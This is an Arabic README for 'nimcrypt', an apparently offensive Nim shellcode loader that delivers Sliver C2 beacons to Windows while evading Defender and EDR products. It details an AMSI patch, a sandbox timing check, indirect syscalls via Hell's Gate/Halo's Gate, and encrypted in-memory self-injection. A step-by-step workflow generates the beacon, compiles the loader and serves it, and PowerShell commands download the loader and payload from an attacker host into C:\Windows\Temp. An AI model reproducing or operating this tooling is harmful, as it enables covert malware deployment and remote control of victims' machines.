nimcrypt

محمل شيلكود Sliver مكتوب بلغة Nim يستهدف Windows x64. متغيران يغطيان أكثر حالتين تسليم شيوعًا. تم اختباره ضد Windows Defender مع تفعيل الحماية الفورية.

المتغيرات

stager

يقرأ كتلة شيلكود مشفرة من القرص، يفك تشفيرها في الذاكرة، ويحقنها ذاتيًا. استخدم هذا عندما يكون لديك بالفعل إمكانية إسقاط ملف وتريد ملفًا ثنائيًا صغيرًا بسيطًا.

loader.exe <shellcode.bin> [key_hex iv_hex]

المفتاح والمتجه IV اختياريان. إذا تم حذفهما، يتم التعامل مع الملف كشيلكود خام غير مشفر.

stageless

يقوم بتنزيل الكتلة المشفرة من خادم C2 الخاص بك عبر HTTP باستخدام مكدس WinHTTP من Windows، ويفك تشفيرها في الذاكرة، ويحقنها ذاتيًا. لا يمس أي ملف القرص مطلقًا. استخدم هذا عندما يمكنك تنفيذ ملف ثنائي على الهدف ولكن لا يمكنك إسقاط ملف ثانٍ بشكل موثوق.

قم بتحرير الثوابت في أعلى ملف stageless/loader.nim قبل التجميع:

c2Host = "C2_HOST"
c2Port = 443'u16
c2Path = "/payload.bin"
scKey  = "..."   # 64 حرفًا سداسيًا عشريًا من encrypt.py
scIV   = "..."   # 32 حرفًا سداسيًا عشريًا من encrypt.py

التقنيات

التهرب من الصندوق الرملي

يستدعي محمل stageless الدالة Sleep(5000) عند بدء التشغيل ويقيس الوقت الفعلي المنقضي باستخدام GetTickCount64. إذا مر أقل من 4500 مللي ثانية، يخرج المسار. معظم بيئات الصندوق الرملي الآلي تعمل على تسريع أو تخطي مراحل النوم، مما يؤدي إلى فشل الفحص. يحدث هذا قبل أي نشاط شبكي أو تنفيذ شيلكود، لذا فإن صناديق الرمل التي تفحص السلوك الشبكي لا ترى شيئًا.

تجاوز AMSI

يقوم ملف amsi.nim بتصحيح AmsiScanBuffer أثناء التشغيل باستخدام طبقتين من التعتيم:

إخفاء السلاسل عبر تجزئة FNV-1a. السلسلة النصية AmsiScanBuffer لا تظهر مطلقًا في الملف الثنائي. بدلاً من ذلك، يتم حساب تجزئة FNV-1a لها في وقت الترجمة وتخزينها كثابت. في وقت التشغيل، يجتاز المحمل جدول تصدير amsi.dll، ويجزئ كل اسم تصدير، ويقارن مع القيمة المخزنة للعثور على عنوان الدالة دون الاحتفاظ بالسلسلة النصية في الذاكرة.

تعتيم XOR في وقت التجميع. كل من اسم DLL (amsi.dll) وبايتات التصحيح (xor eax, eax; ret = 31 C0 C3) يتم تشفيرها باستخدام XOR في وقت التجميع باستخدام مفتاح عشوائي يتم إنشاؤه جديدًا لكل بناء عبر عملية فرعية بلغة Python. يتم تضمين المفتاح كثابت ويتم فك تشفير البايتات في وقت التشغيل قبل الاستخدام مباشرة. تتغير البايتات الخام في كل بناء، مما يكسر التوقيعات الثابتة على تسلسل التصحيح.

يقوم التصحيح باستبدال البايتات الثلاث الأولى من AmsiScanBuffer بـ xor eax, eax; ret، مما يجعل كل استدعاء يعيد AMSI_RESULT_CLEAN بغض النظر عن المدخلات.

تشفير الحمولة

يقوم encrypt.py بتشفير الشيلكود الخام باستخدام AES-256-CBC بمفتاح 32 بايت ومتجه IV 16 بايت يتم إنشاؤهما عشوائيًا. يقوم المحمل بفك التشفير في المكان باستخدام واجهة برمجة تطبيقات BCrypt من Windows، لذلك لا حاجة لأي مكتبة تشفير تابعة لجهة خارجية على الهدف.

الانتقال من ذاكرة RW إلى RX

يتم تخصيص الذاكرة كـ PAGE_READWRITE، ويتم كتابة الشيلكود فيها، ثم يتم تحويل المنطقة إلى PAGE_EXECUTE_READ قبل التنفيذ. التخصيص المباشر كـ PAGE_EXECUTE_READWRITE هو توقيع معروف يكتشفه Defender و EDRs بشكل صريح. فصل مرحلتي الكتابة والتنفيذ يتجنب هذا النمط.

استدعاءات النظام غير المباشرة (Hell's Gate + Halo's Gate)

يقوم stageless/syscalls.nim بتجاوز كل من طبقة Win32 API (kernel32.dll) وأي خطافات ntdll.dll الخاصة بالمستخدم التي تضعها EDRs.

حل رقم خدمة النظام (SSN). عند بدء التشغيل، يحصل المحمل على العنوان الأساسي لـ ntdll ويفحص جدول التصدير PE الخاص به، مجمعًا كل تصدير Nt* مرتبًا حسب RVA. لكل دالة NT نحتاجها، يفحص البايتات الأربعة الأولى:

• 4C 8B D1 B8 (mov r10, rcx; mov eax, imm32) يعني أن الجذر نظيف ويتم قراءة SSN مباشرة من البايتات 4-5. هذا هو Hell's Gate.
• أي شيء آخر يعني أن مقدمة الدالة قد تم تصحيحها بواسطة خطاف EDR. في هذه الحالة، يجتاز المحمل الجيران في القائمة المرتبة حتى يعثر على جذر نظيف، ثم يحسب SSN الهدف كـ neighbor_SSN +/- distance. تزداد SSNs بمقدار واحد لكل جذر بترتيب العناوين. هذا هو Halo's Gate.

تحديد المقطع البرمجي (gadget). يفحص المحمل أول جذر Nt* نظيف يجده عن تسلسل البايتات 0F 05 C3 (syscall; ret). يعطي هذا عنوانًا داخل قسم .text المدعوم بالصورة من ntdll يمكننا إعادة استخدامه.

توليد الجذر. لكل دالة مطلوبة، يتم كتابة جذر بطول 22 بايت في صفحة RW واحدة يتم تحويلها إلى RX قبل الاستخدام:

4C 8B D1              mov r10, rcx
B8 xx xx 00 00        mov eax, <SSN>
FF 25 00 00 00 00     jmp qword ptr [rip+0]
xx xx xx xx xx xx xx xx  عنوان المقطع البرمجي

يقوم jmp [rip+0] بفك الإشارة إلى البايتات الثمانية التي تليها مباشرة (عنوان المقطع البرمجي) ويعيد توجيه التنفيذ إلى تسلسل syscall; ret الموجود في ntdll. يتم تنفيذ تعليمة syscall من قسم .text في ntdll بدلاً من التخصيص المجهول لدينا، مما يتغلب على أي تتبع على مستوى النواة لأي منطقة ذاكرة أصدرت استدعاء النظام.

الوظائف الأربع التي تغطيها استدعاءات النظام غير المباشرة هي NtAllocateVirtualMemory و NtProtectVirtualMemory و NtCreateThreadEx و NtWaitForSingleObject.

الحقن الذاتي

بعد فك التشفير، يقوم محمل stageless بتخصيص منطقة RW في عمليته الخاصة عبر NtAllocateVirtualMemory، وينسخ الشيلكود باستخدام copyMem، ويحول المنطقة إلى RX عبر NtProtectVirtualMemory، ويطلق خيطًا عبر NtCreateThreadEx. ثم يظل الخيط الرئيسي محظورًا إلى أجل غير مسمى على NtWaitForSingleObject، مما يبقي العملية حية أثناء تشغيل goroutines الخاصة بالمنارة. جميع الاستدعاءات الأربعة تمر عبر جذور استدعاء النظام غير المباشر الموصوفة أعلاه.

الحقن الذاتي يبقي سطح الاستدعاء في حده الأدنى. لا توجد استدعاءات لواجهة برمجة تطبيقات عبر العمليات (WriteProcessMemory، CreateRemoteThread، إلخ.)، وهي نواقل الكشف الأساسية للحقن عن بعد التقليدي.

سير التنفيذ (stageless)

1. فحص التوقيت: النوم لمدة 5 ثوانٍ، الخروج إذا مضى أقل من 4.5 ثانية
2. تصحيح AMSI: حل AmsiScanBuffer عبر FNV-1a، استبدال بـ xor eax, eax; ret
3. حل جذور استدعاء النظام غير المباشرة: تحليل تصديرات ntdll، العثور على SSNs (Hell's Gate + Halo's Gate)، تحديد موقع المقطع البرمجي syscall; ret، كتابة الجذور
4. التنزيل: طلب HTTP GET باستخدام WinHTTP، قراءة نص الاستجابة
5. فك التشفير: AES-256-CBC عبر BCrypt في المكان
6. التخصيص: NtAllocateVirtualMemory في العملية الخاصة (RW) عبر استدعاء نظام غير مباشر
7. نسخ الشيلكود في التخصيص
8. الحماية: NtProtectVirtualMemory إلى PAGE_EXECUTE_READ عبر استدعاء نظام غير مباشر
9. التنفيذ: NtCreateThreadEx عبر استدعاء نظام غير مباشر
10. الانتظار: NtWaitForSingleObject على مقبض الخيط عبر استدعاء نظام غير مباشر

سير التنفيذ (stager)

1. تصحيح AMSI
2. قراءة ملف الشيلكود من القرص
3. فك التشفير إذا تم توفير المفتاح والمتجه IV
4. VirtualAlloc (RW)، نسخ الشيلكود، VirtualProtect إلى RX
5. التنفيذ عبر تحويل مؤشر الدالة

المتطلبات

على جهاز البناء Linux الخاص بك:

• Nim + nimble (nimble install winim)
• mingw-w64 (x86_64-w64-mingw32-gcc)
• Python 3 + pycryptodome (pip install pycryptodome)

سير العمل الكامل

1. بدء مستمع Sliver

[server] sliver > mtls --lhost 10.10.14.42 --lport 443

2. توليد شيلكود المنارة

[server] sliver > generate beacon --mtls 10.10.14.42:443 --os windows --arch amd64 --format shellcode --skip-symbols beacon

3. التشفير

python3 encrypt.py beacon.bin
# key: 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997
# iv:  83b82994e8c512d536f7d42e89d6e761

4. تعيين الثوابت والتجميع

قم بتحرير ملف stageless/loader.nim واضبط c2Host و c2Port و c2Path و scKey و scIV، ثم من جذر المشروع:

# stageless
nim c -d:release -o:bins/loader.exe stageless/loader.nim

# stager
nim c -d:release -o:bins/loader.exe stager/loader.nim

قم دائمًا بالتجميع من جذر المشروع بحيث يتم تحميل ملف nim.cfg الجذر فقط. الناتج هو PE ثابت ثنائي لـ Windows x64 بدون تبعيات DLL خارجية تتجاوز مكتبات النظام القياسية.

5. الخدمة أو النقل

Stageless: قم بتقديم الكتلة المشفرة عبر HTTP على المنفذ المطابق لـ c2Port:

cd bins && python3 -m http.server 443

Stager: انقل كلا الملفين إلى الهدف:

(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/loader.exe", "C:\Windows\Temp\loader.exe")
(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/beacon_enc.bin", "C:\Windows\Temp\beacon.bin")

6. التنفيذ

Stageless:

loader.exe

Stager مع التشفير:

loader.exe beacon.bin 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997 83b82994e8c512d536f7d42e89d6e761

Stager بدون تشفير:

loader.exe shellcode.bin

التسليم عبر PowerShell

إذا تم التسليم عبر مهد تنزيل PowerShell، فسيقوم AMSI بفحص البرنامج النصي قبل تشغيل المحمل. قم بتصحيح AMSI في جلسة PS الخاصة بك أولاً:

python3 gen_amsi.py

الصق المخرجات في جلسة PS قبل تنزيل أو تنفيذ أي شيء. يقوم البرنامج النصي بحل AmsiScanBuffer بواسطة تجزئة جدول التصدير بحيث لا تظهر السلسلة النصية مطلقًا بنص واضح، ويتم تشفير جميع بايتات التصحيح باستخدام XOR بمفتاح عشوائي لكل تشغيل.

ملاحظات

• يتطلب Windows 10 / Server 2016+ (Universal CRT)
• BCryptSetProperty لوضع التشفير يعيد STATUS_INVALID_PARAMETER ولكن BCrypt يضع CBC افتراضيًا على أي حال، فك التشفير يعمل بشكل صحيح
• استدعاءات النظام غير المباشرة تغطي فقط وظائف NT الأربعة الحاسمة للحقن. لا تزال استدعاءات Winsock و BCrypt تمر عبر مسارات واجهة برمجة التطبيقات العادية الخاصة بها، وهو مقبول لأن هذه الاستدعاءات حميدة سلوكيًا بشكل منفرد
• يتم تنفيذ تعليمة syscall في الجذور من داخل قسم .text لـ ntdll (مدعوم بالصورة، موقع من Microsoft)، وليس من صفحة الجذر، مما يتغلب على تتبع أصل استدعاء النظام على مستوى النواة

المراجع

• https://github.com/gatariee/ldrgen
• https://github.com/D3Ext/Hooka

يمكنك العثور على مزيد من التفاصيل حول آليات Defender والتقنيات والأدوات الأخرى على مدونتي